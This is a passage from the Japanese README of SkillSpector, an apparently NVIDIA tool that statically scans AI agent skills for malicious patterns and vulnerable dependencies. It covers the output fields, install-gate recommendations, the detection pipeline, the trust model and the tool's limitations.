- `metadata.inference_usage` には、プロバイダーがトークンカウンターを公開している場合に、LLM 応答ごとにサニタイズされた1件のレコードが含まれます。利用状況が取得できない場合は空のリストになります。SkillSpector は不足しているトークンを推定することはありません。プロンプト合計にはキャッシュの読み取りと書き込みが含まれるため、ダウンストリームの価格設定でそれらの区分を安全に分離できます。
`model_source` は、独立して特定されたプロバイダーモデルと、応答の識別情報が存在しないか曖昧な場合に使用された正確な要求モデルとを区別します。
SkillSpector は現在 Anthropic のプロンプトキャッシュ制御を送信しないため、そのスキャン要求は別々の5分間または1時間のキャッシュ書き込みティアを選択できません。TTL 固有の応答フィールドは、集約キャッシュ書き込みカウンターへ防御的に正規化されます。
- 完全な来歴、キャッシュ会計、プライバシー、フェイルクローズドの取り込み、およびダウンストリームの価格設定契約については、[Inference usage telemetry](https://github.com/nvidia/skillspector/blob/HEAD/docs/INFERENCE_USAGE.md) を参照してください。
- 問題ごとの完全な形状は [models.py](https://github.com/nvidia/skillspector/blob/HEAD/src/skillspector/models.py) の `Finding.to_dict()` で定義されています。上記のフィールドに依存し、追加のフィールドはベストエフォートとして扱ってください。
CI/IDE ツールの場合、`--format sarif` は SARIF 2.1.0 を出力します。
### 推奨ゲートマッピング
SkillSpector をインストールゲートとして使用する場合、推奨事項をアクションにマッピングします:
| `recommendation` | Suggested action |
|------------------|------------------|
| `SAFE` | allow |
| `CAUTION` | prompt / warn the user |
| `DO_NOT_INSTALL` | block |
SkillSpector はスコア帯と推奨事項を計算します。ゲートの厳格さ(例: CI で `CAUTION` をブロックするかどうか)は、統合ツール側のポリシー判断です。
## Development
### Setup
すべての `make` ターゲットは、仮想環境がすでに作成・有効化されていることを前提としています。Makefile は **uv** が利用可能な場合はそれを使用し、それ以外の場合は **pip** を使用します。```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev
# Run tests
make test
# Run tests with coverage
make test-cov
# Run linting
make lint
# Format code
make format
仕組み
SkillSpectorは2段階の検出パイプラインを使用します:
ステージ1: 静的解析
- 11種類の静的アナライザーにわたる高速な正規表現ベースのパターンマッチング
- 危険な呼び出し(exec、eval、subprocessなど)を検出するASTベースの動作解析
- 依存関係内の既知のCVEに対するOSV.dev経由のライブ脆弱性検索
- スキル内のアナライザー対象となるすべてのファイルをスキャン
- 高い再現率(ほとんどの問題を検出)
- 中程度の適合率(一部の誤検出を含む)
有効なルートレベルのOpenSSF Model Signing署名(skill.oms.sig)は、コンポーネントインベントリにoms_signatureタイプとして保持されますが、静的解析およびLLMコンテンツ解析からは除外されます。
OMSバンドルには必然的に長いbase64エンコードされたペイロード、署名、証明書フィールドが含まれます。
一般的な難読化コードチェックは、これらのフィールドを隠された実行可能コンテンツとして誤分類する可能性があります。
認識器は最小限のOMS DSSE/in-toto構造をチェックします。
署名、証明書チェーン、透過性ログエントリ、署名者IDは検証しません。
無効または認識されない署名ファイルは通常どおりスキャンされます。
ステージ2: LLMセマンティック解析(オプション)
- コンテキストと意図を評価
- 誤検出をフィルタリング
- 人間が読める説明を提供
- 適合率を約87%に向上
LLMプロンプトには、悪意のあるスキルが解析を操作するのを防ぐためのアンチ脱獄保護が含まれています。
ライブ脆弱性検索(SC4)
SC4はOSV.dev APIを使用して、依存関係をOpen Source Vulnerabilitiesデータベース全体と照合します — PyPIおよびnpmの数万件のアドバイザリを対象としています。
- APIキー不要 — OSV.devは無料で認証不要です。
- バッチクエリ — すべての依存関係が1回のHTTP呼び出しでチェックされます。
- 自動フォールバック — OSV.devに到達できない場合(エアギャップ/オフライン)、組み込みの小さなフォールバックリストが使用されます。
- キャッシュ — セッション中に冗長なAPI呼び出しを避けるため、結果は1時間メモリ内にキャッシュされます。
このツールは、ライブ脆弱性データのためにapi.osv.devへのアウトバウンドHTTPSアクセスを必要とします。 それが利用できない場合、検出結果は静的フォールバックリストに限定されます。
信頼モデルとデータの外部送信
SkillSpectorは多層防御であり、サンドボックスではありません。 これに頼る前に、何ができて何ができないのかを理解してください:
- スキャンされたスキルを実行することはありません。 すべての解析は静的(正規表現、Python AST、YARA)であり、オプションのLLMによるファイルコンテンツの評価が加わります — スキルのコードが実行されることはありません。
- LLM解析は、アナライザー対象のファイルコンテンツを設定済みプロバイダーに送信します。 LLM解析が有効な場合(デフォルト)、ファイルコンテンツはアクティブな
SKILLSPECTOR_PROVIDERエンドポイントに送信されます。 認識されたOMS署名ファイルは除外されます。--no-llmを使用すると、コンテンツをローカルに保てます(静的解析のみ)。 - SC4は依存関係名をOSV.devに送信します。 サプライチェーンチェックは、スキルが宣言するパッケージ名とバージョンでOSV.devに問い合わせ、既知のCVEを検索します。 これはチェックの基本であり、
--no-llmでも実行されます。 依存関係の座標(ファイルコンテンツではなく)を送信し、APIキーは不要で、OSV.devに到達できない場合はバンドルされたリストにフォールバックします。 - ホストをサンドボックス化しません。 SkillSpectorはスキルをインストールする前に危険なパターンを警告します。 それでもインストールすることを選択したスキルを封じ込めたり隔離したりしません。
制限事項
- 非英語コンテンツ: 他の言語のパターンを見逃す可能性があります
- 画像ベースの攻撃: 画像内のテキストを解析できません
- 暗号化/バイナリコード: コンパイル済みまたは暗号化されたコンテンツを解析できません
- ランタイム動作: 静的解析のみで、動的実行はありません
- オフラインSC4:
api.osv.devへのネットワークアクセスがない場合、SC4は小さな静的フォールバックリストを使用します
研究背景
「Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale」(Liu et al., 2026)の研究に基づいています:
- データセット: 主要マーケットプレイスから収集した42,447個のスキル
- 脆弱性あり: 26.1%が少なくとも1つの脆弱性を含む
- 高深刻度: 5.2%は悪意のある意図を示している可能性が高い
- 主な発見: 実行可能スクリプトを含むスキルは脆弱である可能性が2.12倍高い
Python API統合```python
from skillspector import graph
Invoke the LangGraph workflow
result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })
Access results
print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")
for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")
## ライセンス
Apache License 2.0 - 詳細は [LICENSE](https://github.com/nvidia/skillspector/blob/HEAD/LICENSE) を参照してください。
## 貢献
貢献を歓迎します! コントリビューションガイドラインをお読みの上、プルリクエストを送信してください。
## サポート
- **イシュー**: [GitHub Issues](https://github.com/NVIDIA/skillspector/issues)